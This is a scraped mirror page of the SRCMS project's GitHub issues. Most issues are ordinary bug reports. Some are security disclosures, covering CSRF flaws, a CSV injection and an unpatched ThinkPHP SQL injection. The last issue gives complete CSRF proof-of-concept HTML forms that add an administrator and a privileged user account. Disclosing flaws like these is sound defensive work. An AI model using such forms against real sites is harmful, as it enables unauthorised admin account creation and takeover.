Git Product home page Git Product logo

srcms's People

Contributors

lianghanquan avatar martinzhou2015 avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

srcms's Issues

undefined variable $Page.

class HallController extends Controller{

    public function index($key="")
    {
        if($key == ""){
            $model = M('member');  
        }else{
            $where['title'] = array('like',"%$key%");
            $where['name'] = array('like',"%$key%");
            $where['_logic'] = 'or';
            $model = M('member')->where($where); 
        } 

        $user = $model->limit($Page->firstRow.','.$Page->listRows)->where($where)->order('jifen ASC')->where('type=1')->select();
        $xuhao = 1;
        $tmodel= M('setting');
        $title = $tmodel->where('id=1')->select();
        $this->assign('title', $title);
        $this -> assign('xuhao',$xuhao);
        $this->assign('user',getSortedCategory($user));
        $this->display();   
    }
}

undefined variable $Page.

管理后台设计bug

复现过程:

  1. 注册用户test
  2. test用户提交漏洞A,B,C,D
  3. admin用户登录后台删除test用户
  4. 漏洞A,B,C,D 依然保留在post表中,但是管理后台无法查看这些历史漏洞了。
    期望:
    只要曾经提交过的漏洞,无论提交者是否还存在这个平台,历史漏洞信息都应该能在管理后台查看。

安全问题

您好:
我是360代码代码卫士的工作人员,在我们的开源项目代码检测过程中,发现SRCMS存在两处CSRF,详细信息如下:
第一处在后台订单删除处(GET型csrf):
default
可以看到没有防护,可以进行csrf,遍历报告id,可以删除所有的报告。

第二处在系统设置--基础配置处
default
访问构造的页面,能成功修改配置
default

其次,我发现cms使用的TP3.2.3中,有已知的框架sql注入没有修复,如TP的order by注入,但由于没有在项目中使用到order(),所以也无法复现。不过由于SRCMS的不断更新,难免不会用到,还是建议修复下好些~~

a bug

\Admin\Controller\ManagerController.class.php , line 29, "$model = M('member')->where($where);" , 'member' should be 'manager'. : )

admin 账号更新信息有错误提示

.<
Too few arguments to function I(), 0 passed in /Applications/XAMPP/xamppfiles/htdocs/Application/Admin/Controller/SettingController.class.php on line 41 and at least 1 expected
错误位置

FILE: /Applications/XAMPP/xamppfiles/htdocs/ThinkPHP/Common/functions.php  LINE: 271

TRACE

#0 /Applications/XAMPP/xamppfiles/htdocs/Application/Admin/Controller/SettingController.class.php(41): I()
#1 [internal function]: Admin\Controller\SettingController->update()
#2 /Applications/XAMPP/xamppfiles/htdocs/ThinkPHP/Library/Think/App.class.php(173): ReflectionMethod->invoke(Object(Admin\Controller\SettingController))

SRCMS V3正式版开发

Hi all,

为了进一步完善SRCMS的功能,带来更好的安装和用户体验,SRCMS V3系列已经着手开发,考虑到开发版本更新频率较为频繁,且功能变动多,因此SRCMS V3开发版本将会托管在新的SRCMS-dev项目中,您可以通过以下地址获取到最新版本的SRCMS V3开发版本:
https://github.com/martinzhou2015/SRCMS-dev

接下来的开发计划,包括后端代码重写(将使用的ThinkPHP 3.2.3框架,升级到ThinkPHP5.0或使用其他框架),功能的优化和完善等。V3正式版本的开发计划将会在本Issue中进行跟踪。

如果您有任何建议或意见欢迎在下方留言,或通过Email联系到我。

Martin

[2016-12-3] ChangeController.class.php逻辑缺陷 By.藏形匿影

问题描述:
//验证原密码 $user = $member->where(array('id'=>$id,'password'=>$oldpassword))->find(); if(!$user) { $this->error('旧密码校验失败 :(') ;
因为V1.7新版本存储密码时,添加了salt字符防护,此处校验逻辑未做修改,导致出现问题。

问题解决:
· 优化此处处理逻辑,排查其他涉及密码的部分。

生成工单 不正确

在测试的时候发现生成工单根据session_id查询不正确,具体表现在查询A工单可能得到B工单的内容。是个bug?

A CSV injection

Payload:
1.user 'test' submit a report

image

2admin export report
image

3.open the report
image

部署问题

Too few arguments to function I(), 0 passed in /usr/local/nginx/html/Application/User/Controller/InfoController.class.php on line 29 and at least 1 expected
这是什么情况,提交更新普通用户信息的时候,提示这个问题,求解答

There is two CSRF vulnerability that can add the administrator account

After the administrator logged in, open the following two page
poc:
add_admin.html

<html>
<form action="http://127.0.0.1/admin.php?m=Admin&c=manager&a=add" method="post">
	<div class="form-group">
		<label>用户名</label>
		<input class="form-control" type="text" name="username" value="csrf">
	</div>
	<div class="form-group">
		<label>邮箱</label>
		<input class="form-control" type="text" name="email" value="[email protected]">
	</div>
	<div class="form-group">
		<label>密码</label>
		<input class="form-control" type="password" name="password" value="123456">
	</div>
	<div class="form-group">
		<label>确认密码</label>
		<input class="form-control" type="password" name="repassword" value="123456">
	</div>
	<div class="form-group">
		<button class="btn btn-success" type="submit" >添加</button>
	</div>


</form>
</html>

add_user.html

<html>
<form action="http://127.0.0.1/admin.php?m=Admin&c=member&a=add" method="post">
	<div class="form-group">
		<label>用户名</label>
		<input class="form-control" type="text" name="username" value="test">
	</div>
	<div class="form-group">
		<label>邮箱</label>
		<input class="form-control" type="text" name="email" value="[email protected]">
	</div>
	<div class="form-group">
		<label>密码</label>
		<input class="form-control" type="password" name="password" value="123456">
	</div>
	<div class="form-group">
		<label>确认密码</label>
		<input class="form-control" type="password" name="repassword" value="123456">
	</div>
	<div class="form-group">
        <label>用户等级</label>
        <label class="radio-inline">
          <input type="radio" name="type" id="type" value="1" >路人
        </label>
        <label class="radio-inline">
          <input type="radio" name="type" id="type" value="2" >实习白帽子
        </label>
		<label class="radio-inline">
          <input type="radio" name="type" id="type" value="3" >普通白帽子
        </label>
        <label class="radio-inline">
          <input type="radio" name="type" id="type" checked="checked" value="4" >核心白帽子
        </label>
    </div>
	<div class="form-group">
        <label>用户状态</label>
        <label class="radio-inline">
          <input type="radio" name="status" id="status" value="0">禁止登陆
        </label>
        <label class="radio-inline">
          <input type="radio" name="status" id="status" value="1"  checked="checked">正常
        </label>
    </div>
	<div class="form-group">
		<button class="btn btn-success" type="submit" >添加</button>
	</div>


</form>
</html>

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.